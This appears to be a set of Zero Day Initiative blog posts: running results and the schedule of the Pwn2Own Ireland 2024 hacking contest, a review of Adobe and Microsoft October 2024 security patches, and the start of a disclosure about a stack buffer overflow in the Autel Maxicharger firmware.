Zero Day Initiative

It’s the final day of our first ever Pwn2Own Ireland. After three days of exploitation, we have awarded $993,625, so it seem likely we will pass the $1,000,000 mark. Still, there are no guarantees in Pwn2Own, so stay tuned for all the results.

And we are done! Over the four days of the contest, we awarded $1,066,625 for over 70 0-day vulnerabilities. That makes four contests in a row that exceeded the million-dollar mark. Congratulations to the Viettel Cyber Security team for winning Master of Pwn with 33 points and $205,000. Our next event will be January 22-24, 2025 in Tokyo as we return for the second Pwn2Own Automotive. We hope to see you there.

COLLISION - A bug collision sends us over one million dollars for the contest. Team Smoking Barrels used two bugs to exploit the True NAS X, but they had been seen before in the contest. It still counts, as they earn $20,000 & 2 Master of Pwn points.

SUCCESS/COLLISION - Chris Anastasio (@mufinnnnnnn) and Fabius Watson (@FabiusArtrel) of Team Cluck used 6 bugs to go from the QNAP QHora-322 to the Lexmark CX331adwe, but 1 had already been seen in the contest. They still earn $23,000 and 9.25 Master of Pwn points.

COLLISION - The Viettel Cyber Security (@vcslab) team ends their run with a collision. They use 2 bugs to exploit the TrueNAS Mini X. They still earn $20,000 and 2 Master of Pwn points.

SUCCESS - Our final attempt of Pwn2Own Ireland is confirmed! PHP Hooligans / Midnight Blue (@midnightbluelab) used an integer overflow to exploit the Lexmark printer and play us a tune. They earn $10,000 and 2 Master of Pwn points.

Welcome to Day Three of our first ever Pwn2Own Ireland competition! We’ve already awarded $874,875, and we have 15 attempts left to go. Will we hit the $1,000,000 mark or will all remaining attempts end up in bug collisions? Stay tuned to find out. All times are Irish Standard Time (GMT +1:00).

SUCCESS - Ha The Long with Ha Anh Hoang of Viettel Cyber Security (@vcslab) used a single command injection bug to exploit the QNAP TS-464 NAS. Their fourth-round win nets them $10,000 and 4 Master of Pwn points.

FAILURE - Unfortunately, Sina Kheirkhah (@SinSinology) and Enrique Castillo (@hyprdude) of Summoning Team (@SummoningTeam) could not get their exploit of the Ubiquiti AI Bullet working within the time allotted.

SUCCESS - Pumpkin Chang (@u1f383) and Orange Tsai (@orange_8361) from the DEVCORE Research Team combined a CRLF Injection, an Auth Bypass, and a SQL Injection to exploit the Synology BeeStation. They earn $20,000 and 4 Master of Pwn points.

SUCCESS - PHP Hooligans / Midnight Blue (@midnightbluelab) used an OOB Write and a memory corruption bug to go from the QNAP QHora-322 to the Lexmark printer, which they demonstrated by printing their own "cash". Their successful SOHO Smashup earns them $25,000 and 10 Master of Pwn points.

SUCCESS - The Viettel Cyber Security (@vcslab) used a single type confusion bug to exploit the Lexmark CX331adwe printer. In the process, they earn $20,000 and 2 Master of Pwn points.

COLLISION - Our first collision of Day Three: the group from STEALIEN Inc. successfully popped the Lorex camera, but the bug they used had already been demonstrated in the contest. They still earn $3,750 and 1.5 Master of Pwn points.

COLLISION - namnp and tunglth of Viettel Cyber Security (@vcslab) ran into another collision. Their stack-based buffer overflow took over the Canon printer, but it had been previously used in the competition. They still earn $5,000 and 1 Master of Pwn point.

SUCCESS - Newcomers Team Smoking Barrels used an unprotected primary channel bug to exploit the Synology BeeStation for code execution. They earn $10,000 and 4 Master of Pwn points.

FAILURE - Unfortunately, the Viettel Cyber Security (@vcslab) could not get their exploit of the Ubiquiti AI Bullet working within the time allotted.

SUCCESS - In the penultimate attempt of Day 2, Daan Keuper (@daankeuper), Thijs Alkemade (@xnyhps), and Khaled Nassar (@notkmhn) from Computest Sector 7 (@sector7_nl) combined 4 bugs, including a command injection and a path traversal to going from the QNAP QHora-322 to the TrueNAS Mini X. They earn $25,000 and 10 Master of Pwn points.

FAILURE - ExLuck (@ExLuck99) of ANHTUD was unable to complete his SOHO S=mashup in the time allotted. HE was able to get into the Synology router but couldn't successfully pivot to the Canon printer.

Welcome back to Pwn2Own Ireland 2024! Yesterday, we awarded $516,250 for over 50 unique 0-day bugs. Today looks to be just as exciting with attempts on phones, cameras, printers, and smart speakers. We’ll be updating this blog in real time as results become available. We have a full schedule of attempts today, so stay tuned! All times are Irish Standard Time (GMT +1:00).

That's a wrap on Day 2 of Pwn2Own Ireland! Today, we awarded $358,625 - which brings the event total to $874,875. The Viettel Cyber Security team has a commanding lead for Master of Pwn, but with two days left, there still could be changes.

SUCCESS - Pham Tuan Son (@Little_timmy) and ExLuck (@ExLuck99) from ANHTUD used a single stack-based overflow to exploit the Canon imageCLASS MF656Cdw printer. Their second-round win earns them $10,000 and 2 Master of Pwn points.

SUCCESS - Ken Gannon (@yogehi) of NCC Group (@NCCGroupInfosec) used five different bugs, including a path traversal, to get a shell and install an app on the Samsung Galaxy S24. He earns $50,000 and 5 Master of Pwn points.

SUCCESS - dungdm (@_piers2) with Viettel Cyber Security (@vcslab) used a single Use-After-Free (UAF) bug to exploit the #Sonos Era 300. The second-round win earns him $30,000 and 6 Master of Pwn points.

COLLISION - The Tenable Group used a stack-based buffer overflow to exploit the Lorex 2K camera, but the bug had already been used in the contest. They still earn $3,750 and 1.5 Master of Pwn points.

SUCCESS - Viettel Cyber Security (@vcslab) used a single type confusion bug to exploit the HP Color LaserJet Pro MFP 3301fdw. The second-round win earns them $10,000 and two Master of Pwn points.

FAILURE - The DEVCORE Research Team (@d3vc0r3) and nella17 (@nella17tw) working with DEVCORE Internship Program couldn't get their SOHO Smashup completed in time. They made it through the router but couldn't pop the printer.

FAILURE - Ryan Emmons (@the_emmons) and Stephen Fewer (@stephenfewer) of Rapid7 could not get their exploit og the Lorex 2K camera working within the time allotted.

SUCCESS - The InfoSect (@infosectcbr) group used a heap-based buffer overflow to take over the Sonos Era 300 speaker. Their second-round win earns them $30,000 and six Master of Pwn points.

SUCCESS - Chris Anastasio (@mufinnnnnnn) and Fabius Watson (@FabiusArtrel) of Team Cluck used two bugs (including a CLRF injection) in a beautiful chain to exploit the QNAP TS-464 NAS. The second round win earns them $20,000 and 4 Master of Pwn points.

FAILURE - Cody Gallagher and Charlie Waters could not get their exploit of the Sonos Era 300 working within the time allotted.

SUCCESS - PHP Hooligans / Midnight Blue (@midnightbluelab) used a command injection bug to get code execution on the Synology BeeStation BST150-4T. They earn $40,000 and four Master of Pwn points.

COLLISION - Corentin BAYET (@OnlyTheDuck) of @Reverse_Tactics used three bugs to go from the QNAP QHora-322 to the QNAP TS-464, but 1 had been previously seen in the contest. He still earns $41,750 and 8.5 Master of Pwn points.

FAILURE - Unfortunately, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) could not get his exploit of the TrueNAS Mini X working within the time allotted.

FAILURE - Sadly, the Neodyme (@Neodyme) team could not get their exploit of the Lexmark CX331adwe printer working within the time allotted.

SUCCESS - Chris Anastasio (@mufinnnnnnn) & Fabius Watson (@FabiusArtrel) of Team Cluck used an Improper Certificate Validation bug to exploit the Synology DiskStation. Their second round win earns them $20,000 and four Master of Pwn points.

COLLISION - The Synacktiv (@Synacktiv) team successfully exploited the Synology Beestation, but they used a bug previously seen during the contest. They still earn $10,000 and 2 Master of Pwn points.

COLLISION - Compass Security (@compasssecurity) ran into a collision in their attempt against the Ubiquiti AI bullet. Their exploit still wins them $3,750 and 1.5 Master of Pwn points.

SUCCESS - YingMuo (@YingMuo) working with DEVCORE Internship Program used an argument injection and a SQL injection to get their root shell on the QNAP TS-464 NAS. Their third-round victory gets them $20,000 and 4 Master of Pwn points.

SUCCESS / COLLISION - Our final SOHO Smashup of Day 2 ends with a partial collision. Neodyme (@Neodyme) used four bugs, including a stack-based buffer overflow, in their successful demonstration, but one bug had previously been used in the contest. They earn $21,875 and 8.75 Master of Pwn points.

COLLISION - One of our final attempts of Day 2 ends in a collision. The InfoSect (@infosectcbr) group successfully got a shell on the Lorex camera, but they used a bug previously seen in the contest. They still earn $3,750 and 1.5 Master of Pwn points.

success - Our final exploit of the day had NiNi (@terrynini38514) of DEVCORE Research Team exploit the AeoTec Smart Home Hub with an Improper Verification of Cryptographic Signature bug. They earn $40,000 and 4 Master of Pwn points.

Welcome to the first day of Pwn2Own Ireland 2024! We have four tremendous days of research planned, including multiple SOHO attempts. We’ll be updating this blog in real time as results become available. We have a full schedule of attempts today, so stay tuned! All times are Irish Standard Time (GMT +1:00).

That's a wrap on Day 1 of #Pwn2Own Ireland! We awarded $516,250* for 52 unique 0-days. Viettel Cyber Security (@vcslab) has an early lead for Master of Pwn with 13 points, but there's a lot of contest left to go. Stay tuned for all of the latest results as Pwn2Own Ireland continues.

*The total increased from $486,250 to $516,250 after a recount.

SUCCESS - phudq and namnp from Viettel Cyber Security (@vcslab) used a stack-based buffer overflow and an untrusted pointer deref to exploit the Lorex 2K WiFi camera. They earn $30,000 and 3 Master of Pwn points.

FAILURE - Unfortunately, Can Acar (@canacar_t) was unable to get his exploit of the Synology TC500 camera working within the time allotted.

SUCCESS - Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) used a total of 9(!) different bugs to go from the QNAP QHora-322 through to the TrueNAS Mini X. His effort earns him $100,000 and 10 Master of Pwn points.

SUCCESS - Jack Dates of RET2 Systems (@ret2systems) used a single Out-of-Bounds (OOB) write to exploit the Sonos Era 300 speaker. He earns himself $60,000 and 6 Master of Pwn points.

SUCCESS - Team Neodyme (@Neodyme ) used a stack-based buffer overflow to exploit the HP Color LaserJet Pro MFP 3301fdw printer. The earn $20,000 and 2 Master of Pwn points.

FAILURE - Unfortunately, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) could not get his exploit of the QNAP TS-464 working within the time allotted.

SUCCESS - PHP Hooligans / Midnight Blue (@midnightbluelab) used a single bug to exploit the Canon imageCLASS MF656Cdw printer. They earn themselves $20,000 and 2 Master of Pwn points.

COLLISION - The @Synacktiv team exploited the Lorex camera with two bugs, but one had previously been used in the contest. They still earn $11,250 and 2.25 Master of Pwn points.

FAILURE - Unfortunately, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) could not get his exploit of the Synology BeeStation BST150-4T working within the time allotted.

SUCCESS - The Viettel Cyber Security (@vcslab) team combined 4 bugs - 2 in the router & 2 in the NAS - to going from the QNAP QHora-322 to the TrueNAS Mini X. Their combination of SQL injections and missing auth/exposed function bugs earn them $50K and 10 Master of Pwn points.

SUCCESS - ExLuck (@pivik_) used four bugs, including an improper cert verification and a hardcoded cryptographic key, to exploit the QNAP TS-464 NAS device. They earn $40,000 and 4 Master of Pwn points.

FAILURE - Unfortunately, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) could not get his exploit of the Synology DiskStation DS1823xs+ working within the time allotted.

FAILURE - Unfortunately, PHP Hooligans / Midnight Blue (@midnightbluelab) could not get their exploit of the Lorex 2K Indoor Wi-Fi camera working within the time allotted.

SUCCESS - @dungnm, @dungdm, & @tunglth of Viettel Cyber Security (@vcslab) used a heap-based buffer overflow to exploit the Synology TC500. In doing so, they earn $30,000 and 3 Master of Pwn points.

WITHDRAWN - The PHP Hooligans / Midnight Blue (@midnightbluelab) have withdrawn their attempt targeting the Synology TC500 camera in the Surveillance category

FAILURE - Unfortunately, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) could not get his exploit of the Lorex 2K Indoor Wi-Fi working within the time allotted.

FAILURE - Unfortunately, YingMuo (@YingMuo) of the DEVCORE Internship Program could not get his exploit of the Canon imageCLASS MF656Cdw working within the time allotted.

SUCCESS - The STEALIEN Inc. team [Bongeun Koo(@kiddo_pwn), Dohyun Kim(@d0now), Junyoung Choi(@insp3ct0r_x), Wonbeen Im(@D0b6y), Juhyeop Lee(@leeju_04), Juyeong Lee(@ju_cheda), GuckHyeon Jin(@nang__lam), Jongmin Kim(@slyfizz3)] used a combination of bugs in their attack chain to exploit the Ubiquity AI Bullet and flash the lights (plus get a root shell). Their work earns them $30,000 and 3 Master of Pwn points.

SUCCESS - Most impressive! Ryan Emmons (@the_emmons) and Stephen Fewer (@stephenfewer) of Rapid7 used an Improper Neutralization of Argument Delimiters bug to exploit the Synology DiskStation DS1823xs+ -- and it works or other Synology devices too! They earn $40,000 and 4 Master of Pwn points.

Failure - Unfortunately, the InfoSect (@infosectcbr) team could not get their exploit of the Synology TC500 camera working within the allotted time.

SUCCESS - The Synacktiv Team (@Synacktiv) used a combination of 3 different bug to exploit the Ubiquiti AI Bullet. All bugs were unique, so their second round win nets them $15,000 and 3 Master of Pwn points.

SUCCESS - Jack Dates of RET2 Systems (@ret2systems) used an OOB Write to get a shell and a modified login page on the Synology DiskStation DS1823xs+. His second round win nets him $20,000 and 4 Master of Pwn points.

SUCCESS - Josh Foote (@BoredPentester) used a stack-based buffer overflow to exploit the Lorex 2K Wi-Fi camera. His second round win nets him $15,000 and 3 Master of Pwn points.

Welcome to Pwn2Own Ireland 2024 - our first event ever from the emerald isle! This year’s contest is set to be one of our largest ever - both in terms of entries and potential prizes. If everything hits, we will end up paying out over $1,000,000 in cash and prizes. We’ve got four days of exciting competition ahead. As always, we began our contest with a random drawing to determine the order of attempts. If you missed it, you can watch the replay here.

The complete schedule for the contest is below (all times Irish Standard Time [UTC +1:00]).

Note: All times subject to change

          - Day One           - Day Two           - Day Three           - Day Four

Day One

Tuesday, October 22 – 0900

Jack Dates of RET2 Systems (@ret2systems) targeting Sonos Era 300 in the Smart Speakers category

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) attempting a SOHO SMASHUP, going from the QNAP QHora-322 to the TrueNAS Mini X

Viettel Cyber Security (@vcslab) targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Can Acar (@canacar_t) targeting Synology TC500 in the Surveillance category

Tuesday, October 22 – 1100

PHP Hooligans / Midnight Blue (@midnightbluelab) targeting Canon imageCLASS MF656Cdw in the Printers category

Synacktiv (@Synacktiv) targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting QNAP TS-464 in the Network Attached Storage category

Neodyme (@Neodyme) targeting HP Color LaserJet Pro MFP 3301fdw in the Printers category

Tuesday, October 22 – 1300

Viettel Cyber Security (@vcslab) attempting a SOHO SMASHUP, going from the QNAP QHora-322 to the TrueNAS Mini X

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting Synology BeeStation BST150-4T in the Network Attached Storage category

ExLuck (@ExLuck99) of ANHTUD targeting QNAP TS-464 in the Network Attached Storage category

Tuesday, October 22 – 1400

DEVCORE Research Team (@d3vc0r3) targeting TrueNAS Mini X in the Network Attached Storage category

Tuesday, October 22 – 1500

PHP Hooligans / Midnight Blue (@midnightbluelab) targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting Synology DiskStation DS1823xs+ in the Network Attached Storage category

Viettel Cyber Security (@vcslab) targeting Synology TC500 in the Surveillance category

Tuesday, October 22 – 1600

Bongeun Koo(@kiddo_pwn), Dohyun Kim(@d0now), Junyoung Choi(@insp3ct0r_x), Wonbeen Im(@D0b6y), Juhyeop Lee(@leeju_04), Juyeong Lee(@ju_cheda), GuckHyeon Jin(@nang__lam), Jongmin Kim(@slyfizz3) of STEALIEN Inc. targeting Ubiquiti AI Bullet in the Surveillance category

Tuesday, October 22 – 1700

YingMuo (@YingMuo) working with DEVCORE Internship Program targeting Canon imageCLASS MF656Cdw in the Printers category

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Ryan Emmons (@the_emmons) and Stephen Fewer (@stephenfewer) of Rapid7 targeting Synology DiskStation DS1823xs+ in the Network Attached Storage category

PHP Hooligans / Midnight Blue (@midnightbluelab) targeting Synology TC500 in the Surveillance category

Tuesday, October 22 – 1800

Synacktiv (@Synacktiv) targeting Ubiquiti AI Bullet in the Surveillance category

Tuesday, October 22 – 1900

@BoredPentester targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Jack Dates of RET2 Systems (@ret2systems) targeting Synology DiskStation DS1823xs+ in the Network Attached Storage category

InfoSect (@infosectcbr) targeting Synology TC500 in the Surveillance category

Tuesday, October 22 – 1930

ExLuck (@ExLuck99) of ANHTUD targeting Ubiquiti AI Bullet in the Surveillance category

Back to top

Day Two

Wednesday, October 23 – 0900

Viettel Cyber Security (@vcslab) targeting Sonos Era 300 in the Smart Speakers category

ExLuck (@ExLuck99) of ANHTUD targeting Canon imageCLASS MF656Cdw in the Printers category

Tenable Research targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Ken Gannon (@yogehi) of NCC Group (@NCCGroupInfosec) targeting Samsung Galaxy S24 in the Mobile Phones category

Wednesday, October 23 – 1100

InfoSect (@infosectcbr) targeting Sonos Era 300 in the Smart Speakers category

DEVCORE Research Team (@d3vc0r3) and nella17 (@nella17tw) working with DEVCORE Internship Program attempting a SOHO SMASHUP, going from the QNAP QHora-322 to the Lexmark CX331adwe

Ryan Emmons (@the_emmons) and Stephen Fewer (@stephenfewer) of Rapid7 targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Chris Anastasio (@mufinnnnnnn) & Fabius Watson (@FabiusArtrel) targeting QNAP TS-464 in the Network Attached Storage category

Wednesday, October 23 – 1200

Viettel Cyber Security (@vcslab) targeting HP Color LaserJet Pro MFP 3301fdw in the Printers category

Wednesday, October 23 – 1300

Cody Gallagher and Charlie Waters targeting Sonos Era 300 in the Smart Speakers category

Corentin BAYET (@OnlyTheDuck) of @Reverse_Tactics attempting a SOHO SMASHUP, going from the QNAP QHora-322 to the QNAP TS-464

PHP Hooligans / Midnight Blue (@midnightbluelab) targeting Synology BeeStation BST150-4T in the Network Attached Storage category

Wednesday, October 23 – 1500

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting TrueNAS Mini X in the Network Attached Storage category

Neodyme (@Neodyme) targeting Lexmark CX331adwe in the Printers category

DEVCORE Research Team (@d3vc0r3) targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Chris Anastasio (@mufinnnnnnn) & Fabius Watson (@FabiusArtrel) targeting Synology DiskStation DS1823xs+ in the Network Attached Storage category

Wednesday, October 23 – 1700

Compass Security (@compasssecurity) targeting Ubiquiti AI Bullet in the Surveillance category

Neodyme (@Neodyme) targeting SOHO SMASHUP, going from the QNAP QHora-322 to the Canon imageCLASS MF656Cdw

Synacktiv (@Synacktiv) targeting Synology BeeStation BST150-4T in the Network Attached Storage category

YingMuo (@YingMuo) working with DEVCORE Internship Program targeting QNAP TS-464 in the Network Attached Storage category

Wednesday, October 23 – 1900

InfoSect (@infosectcbr) targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

NiNi (@terrynini38514) of DEVCORE Research Team targeting AeoTec Smart Home Hub in the Home Automation Hubs category

Back to top

Day Three

Thursday, October 24 – 0900

Sina Kheirkhah (@SinSinology) and Enrique Castillo (@hyprdude) of Summoning Team (@SummoningTeam) targeting Ubiquiti AI Bullet in the Surveillance category

PHP Hooligans / Midnight Blue (@midnightbluelab) attempting a SOHO SMASHUP, going from the QNAP QHora-322to the Lexmark CX331adwe

Pumpkin Chang (@u1f383) and Orange Tsai (@orange_8361) from the DEVCORE Research Team targeting Synology BeeStation BST150-4T in the Network Attached Storage category

Viettel Cyber Security (@vcslab) targeting QNAP TS-464 in the Network Attached Storage category

Thursday, October 24 – 1100

Viettel Cyber Security (@vcslab) targeting Lexmark CX331adwe in the Printers category

Thursday, October 24 – 1130

Wonbeen Im(@D0b6y), Dohyun Kim(@d0now), Bongeun Koo(@kiddo_pwn), Junyoung Choi(@insp3ct0r_x), Juhyeop Lee(@leeju_04), Juyeong Lee(@ju_cheda), GuckHyeon Jin(@nang__lam), Jongmin Kim(@slyfizz3) of STEALIEN Inc. targeting Lorex 2K Indoor Wi-Fi in the Surveillance category

Thursday, October 24 – 1300

Viettel Cyber Security (@vcslab) targeting Canon imageCLASS MF656Cdw in the Printers category

Thursday, October 24 – 1330

Team Smoking Barrels targeting Synology BeeStation BST150-4T in the Network Attached Storage category

Thursday, October 24 – 1500

Viettel Cyber Security (@vcslab) targeting Ubiquiti AI Bullet in the Surveillance category

Daan Keuper (@daankeuper), Thijs Alkemade (@xnyhps), and Khaled Nassar (@notkmhn) from Computest Sector 7 (@sector7_nl) attempting a SOHO SMASHUP, going from the QNAP QHora-322 to the TrueNAS Mini X in the SOHO category

Thursday, October 24 – 1700

ExLuck (@ExLuck99) of ANHTUD attempting a SOHO SMASHUP, going from the Synology RT6600ax to the Canon imageCLASS MF656Cdw

Back to top

Day Four

Friday, October 25 – 0900

Team Smoking Barrels targeting TrueNAS Mini X in the Network Attached Storage category

Chris Anastasio (@mufinnnnnnn) & Fabius Watson (@FabiusArtrel) attempting a SOHO SMASHUP, going from the QNAP QHora-322 to the Lexmark CX331adwe

Friday, October 25 – 1100

Viettel Cyber Security (@vcslab) targeting TrueNAS Mini X in the Network Attached Storage category

PHP Hooligans / Midnight Blue (@midnightbluelab) targeting Lexmark CX331adwe in the Printers category

Back to top

We’ll be publishing results live on the blog as the contest unfolds. We’ll also be posting brief video highlights to Twitter, YouTube, Mastodon, LinkedIn, and Instagram, so follow us on your favorite flavor of social media for the latest news from the event.

It’s the spooky season, and there’s nothing spookier than security patches – at least in my world. Microsoft and Adobe have released their latest patches, and no bones about it, there are some skeletons in those closets. Take a break from your regular activities and join us as we review the details of their latest security alerts. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for October 2024

For October, Adobe released nine patches addressing 52 CVEs in Adobe Substance 3D Painter, Commerce, Dimension, Animate, Lightroom, InCopy, InDesign, Substance 3D Stager, and Adobe FrameMaker. Two of these bugs were submitted through the ZDI program. The largest and most urgent of these patches covers 22 CVEs in Adobe Commerce, which includes fixes for Critical-rated code execution bugs. Although not listed as public or under attack, Adobe lists this as Priority 2. The update for Dimension fixes two Critical-rated bugs that could lead to code execution. The fix for Animate fixes 11 vulnerabilities, some of which could lead to code execution. The Substance 3D Stager patch covers eight bugs – all of which are rated Critical and could lead to code execution. The five CVEs addressed by the FrameMaker fix are also all Critical-rated code execution bugs. The remaining bulletins all address only a single CVE each. The memory leak in Substance 3D Painter is rated Important. That’s the same for the Lightroom patch. The InCopy patch fixes a Critical-rated unrestricted upload bug, which is also the case for the InDesign fix.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. Outside of the fix for Commerce, Adobe categorizes these updates as a deployment priority rating of 3.

Microsoft Patches for October 2024

This month, Microsoft released 117 new CVEs in Windows and Windows Components; Office and Office Components; Azure; .NET and Visual Studio; OpenSSH for Windows; Power BI; Windows Hyper-V; and Windows Mobile Broadband. One of these vulnerabilities was reported through the ZDI program. With the addition of the third-party CVEs, the entire release tops out at 121 CVEs.

Of the patches being released today, three are rated Critical, 115 are rated Important, and two are rated Moderate in severity. This is the third triple-digit CVE release from Microsoft this year, putting the Redmond giant on pace to exceed the number of CVEs fixed in 2023. They are still a way off from the record pace set in 2020 (thankfully).

Five of these CVEs are listed as publicly known, and two of these are listed as under active attack at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerabilities currently being exploited:

CVE-2024-43573 - Windows MSHTML Platform Spoofing Vulnerability
While only listed as Moderate, this is one of the bugs listed as actively exploited this month. This is also very similar to the bug patched back in July in the same component, which was used by the APT group known as Void Banshee. You can read out full analysis of that bug here. There’s no word from Microsoft on whether it’s the same group, but considering there is no acknowledgment here, it makes me think the original patch was insufficient. Either way, don’t ignore this based on the severity rating. Test and deploy this update quickly.

CVE-2024-43572 - Microsoft Management Console Remote Code Execution Vulnerability
Here’s another Moderate-severity bug listed as being actively attacked. In this instance, a threat actor would need to send a malicious MMC snap-in and have a user load the file. While this does sound unlikely, it’s clearly happening. Microsoft doesn’t say how widespread these attacks are, but considering the amount of social engineering required to exploit this bug, I would think attacks would be limited at this point. Still considering the damage that could be caused by an admin loading a malicious snap-in, I would test and deploy this update quickly.

CVE-2024-43468 - Microsoft Configuration Manager Remote Code Execution Vulnerability
Not to be confused with MMC, here’s a bug in the Configuration Manager that doesn’t require user interaction. In fact, this CVSS 9.8 bug could be hit by a remote, unauthenticated attacker sending specially crafted requests, resulting in arbitrary code execution on the target server. In addition to the patch, you’ll need to install an in-console update to be protected. Microsoft provides this guide for those affected. This is another example of why the “Just Patch” advice is short-sighted.

CVE-2024-43582 - Remote Desktop Protocol Server Remote Code Execution Vulnerability
This bug also allows a remote, unauthenticated attacker to gain arbitrary code execution at elevated levels simply by sending specially crafted RPC requests. Microsoft notes that the attacker would need to win a race condition, but we’ve seen plenty of successful Pwn2Own entries win race conditions. While this bug is wormable, it’s unlikely to actually result in a worm. RPC should be blocked at your perimeter, and it isn’t, now’s a good time to check. That limits this to internal systems only, but it could be used for lateral movement within an enterprise.

Here’s the full list of CVEs released by Microsoft for October 2024:

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

The only other Critical-rated bug this month is for the Visual Studio Code extension for Arduino. However, there’s no action to take here as Microsoft has already resolved the issue and is just documenting this CVE.

There are 39 other code execution bugs to cover this month, and many of these are the open-and-own variety found in Office and other components. There are a dozen bugs affecting the Routing and Remote Access Service (RRAS), but only a few of these could be triggered by a remote attacker. The others require the client to attempt to connect to a malicious server. The patch for Azure Service Fabric for Linux requires special privileges to hit. There’s a code execution bug in DeepSpeed – the open-source deep learning optimization library – but Microsoft provides no details on it. This also appears to be the first CVE for this component. There are three bugs in OpenSSH for Windows, but all require extensive user interaction and are unlikely to be exploited. The two bugs in RDP client require connecting to a malicious RDP server, which also seems unlikely. Connecting to a malicious server is also a requirement for the bug in Windows Telephony.

The code execution bug in Hyper-V is somewhat limited but still interesting. It could allow a guest OS to execute code against another guest OS, but it wouldn’t allow that code execution to a system not on the same Hyper-V server. The bug in the Remote Desktop Licensing server requires authentication. The code execution bugs are rounded out with a half-dozen fixes for the Mobile Broadband Driver. Interestingly, all six of these require the attacker to physically insert a malicious USB drive into an affected system.

There are more than two dozen fixes for Elevation of Privilege (EoP) bugs in this release. However, most of these either lead to SYSTEM-level code execution or administrative privileges if an authenticated user runs specially crafted code. However, there are a few that stand out. The bug in Netlogon is the most interesting to me. It allows an adjacent attacker to impersonate a domain controller if they can predict the naming convention of the domain controller when added. It’s an unlikely scenario, but kudos to the person who found such an odd corner case. The EoP in Azure Command Line Integration requires the attacker to be assigned the role of either “Security Admin” or “Contributor” but exploitation could lead to SYSTEM-level access. Interestingly, the bug in the NT OS Kernel could lead to kernel memory access, which sounds a bit like an information disclosure bug to me. Finally, the bug in Outlook for Android leads to SYSTEM when opening a malicious meeting or appointment invitation. That’s another vote from e-mails or meetings – especially when food isn’t involved.

There are a handful of Security Feature Bypass (SFB) bugs in the October release, and the BitLocker fix stands out since for Windows Server 2012 R2, you will need to install KB2919355 first to be protected. There are three different bypasses in the Windows Resume Extensible Firmware Interface and all of them allow local attackers to bypass Secure Boot. The bug in the Scripting Service bypasses the Anti-Malware Scanning Interface under certain circumstances. As expected, the bug in the Code Integrity Guard allows an authenticated attacker to bypass code integrity checks. The bypass in Hyper-V would be tricky to implement as there are a lot of caveats, but successful exploitation allows an attacker to bypass UEFI on the hypervisor. This is one of the bugs listed as publicly known, but I would be stunned to see this ever exploited in the wild.

The October release includes fixes for only six information disclosure bugs, and all but one simply result in info leaks consisting of unspecified memory contents. The exception is the bug in the Cryptographic component. An attacker could read the contents of the Optimal asymmetric encryption padding (OAEP) decrypt from a user mode process. This could potentially result in a cross-VM attack affecting multiple VMs on a single hypervisor.

In addition to the one previously covered, there are six other spoofing bugs receiving patches this month. Unfortunately, Microsoft doesn’t provide much information about these vulnerabilities. The spoofing bug in Office appears to result in NTLM relaying as Microsoft lists restricting outbound NTLM as a mitigation. There’s no real information about the Power BI bugs other than to say they require authentication. The vulnerability in Secure Channel requires a Machine-in-the-Middle (MitM) to succeed. The final spoofing bug is in Sudo for Windows. An authenticated attacker would need to launch a specially crafted application and then wait for the target to enter a command in a console window.

There are a mountain of Denial-of-Service (DoS) bugs getting fixed this month, and many of these are in the Mobile Broadband Driver. There’s not a lot of info on these bugs, but Microsoft notes the target must be “within proximity of the target system to send and receive radio transmissions.” There’s little other information to go on here. I do like how the kernel bug must be exploited by “An authorized attacker…” I think they meant authenticated here as not many attackers are authorized. It would be great if Microsoft could provide just a bit more information here. Is this a temporary or a permanent DoS? Does the system automatically recover or does an administrator need to take action? Please Microsoft – don’t be stingy with the details.

Finally, the release is rounded out by a single tampering bug in Remote Desktop Services. Microsoft (again) provides no real detail here other than that the attacker must be MitM. Well, that’s something I suppose.

There are no new advisories in this month’s release. However, ADV990001 has been revised to include the latest servicing stack updates.

Looking Ahead

The next Patch Tuesday of 2024 will be on November 12, and, assuming I survive Pwn2Own Ireland, I’ll return with details and patch analysis then. Until then, keep the lights on, stay safe, happy patching, and may all your reboots be smooth and clean!

This blog post highlights two additional vulnerabilities in the Autel Maxicharger that were exploited at Pwn2Own Automotive 2024. Details of the patches are also included.

Autel has been informed and has deployed a firmware update (v1.35) to address both of these issues. If you want to read about other Autel bugs reported at Pwn2Own, you check out our earlier blog here.

The First Vulnerability: CVE-2024-23967 (ZDI-CAN-23230)

Researchers from Computest Sector 7 identified and exploited a stack-based buffer overflow in v1.32 of the Autel firmware. This vulnerability stems from the decoding of base64 encoded data that can be controlled by an attacker. The encoded data is decoded into a fixed-size stack buffer with no bounds checks, leading to a stack buffer overflow and remote code execution.

The vulnerable function is responsible for handling ACMP messages received from a websockets server (that can be attacker-controlled). The exact meaning of “ACMP” is unknown but the researchers’ best guess is that it stands for something along the lines of “Autel Cloud Management Protocol” and does not appear to be related to Allen-Cahn Message Passing.

